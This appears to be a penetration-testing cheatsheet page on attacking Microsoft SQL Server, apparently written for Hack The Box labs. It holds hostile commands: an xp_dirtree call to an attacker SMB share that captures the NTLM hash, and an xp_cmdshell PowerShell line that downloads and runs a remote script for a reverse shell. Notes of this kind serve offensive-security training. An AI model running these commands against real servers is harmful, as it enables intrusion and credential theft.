> For the complete documentation index, see [llms.txt](https://ressurect.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ressurect.gitbook.io/notes/cheatsheet/database-exploitation/sql-server.md).

# SQL Server

Microsoft SQL Server

### # **Discovery**

Searching for and locating MSSQL installations inside the internal network can be achieved using UDP foot-printing. When MSSQL installs, it installs either on TCP port 1433 or a randomized dynamic TCP port. If the port is dynamically attributed, querying UDP port 1434 will provide us with information on the server including the TCP port on which the service is listening.\
\
`msf > use auxiliary/scanner/mssql/mssql_ping`

{% embed url="<https://www.offensive-security.com/metasploit-unleashed/hunting-mssql/>" %}
Source
{% endembed %}

### **# Default Databases:**

On every SQL Server instance there is a number of default system databases. Those are:\
\- **master** - keeps the information for an instance of SQL Server.\
\- **msdb** - used by SQL Server Agent.\
\- **model** - template database copied for each new database.\
\- **resource** - read only database that keeps system objects that are visible in every database on the server in **sys** schema.\
\- **tempdb** - keeps temporary objects for SQL queries.

### **# impacket-mssqlclient command cheatsheet**

\- DB list - SELECT name FROM master.dbo.sysdatabases\
\- Extract hash - exec xp\_dirtree '\\\10.10.14.5\SHARE'\
\- Execute commands - <https://docs.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver16>\
User should be a member of 'sysadmin' role.\
Query - select IS\_SRVROLEMEMBER('sysadmin');

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md>" %}

### **# Command Execution**

{% embed url="<https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver16>" %}

\- xp\_cmdshell is a very powerful feature and disabled by default. xp\_cmdshell can be enabled and disabled by using the Policy-Based Management or by executing sp\_configure.\
\- When it is called by a user that is not a member of the sysadmin fixed server role, xp\_cmdshell connects to Windows by using the account name and password stored in the credential named ##xp\_cmdshell\_proxy\_account##. If this proxy credential does not exist, xp\_cmdshell will fail.

```
# Reverse Shell using impacket-mssqlclient [Observe the escape of quotes]
xp_cmdshell powershell iex(New-Object Net.WebClient).DownloadString(\"http://10.10.14.18:8000/ivs.ps1\")
```

![Reverse shell
](https://2670651756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M_GJ76GhG1mBf0sNx_3%2Fuploads%2FQoZQXE5n1tljsKwPZ5v5%2FHTB-impacket-mssqlclient.png?alt=media\&token=462cc258-c7e2-456f-8afe-eee8d0df5209)
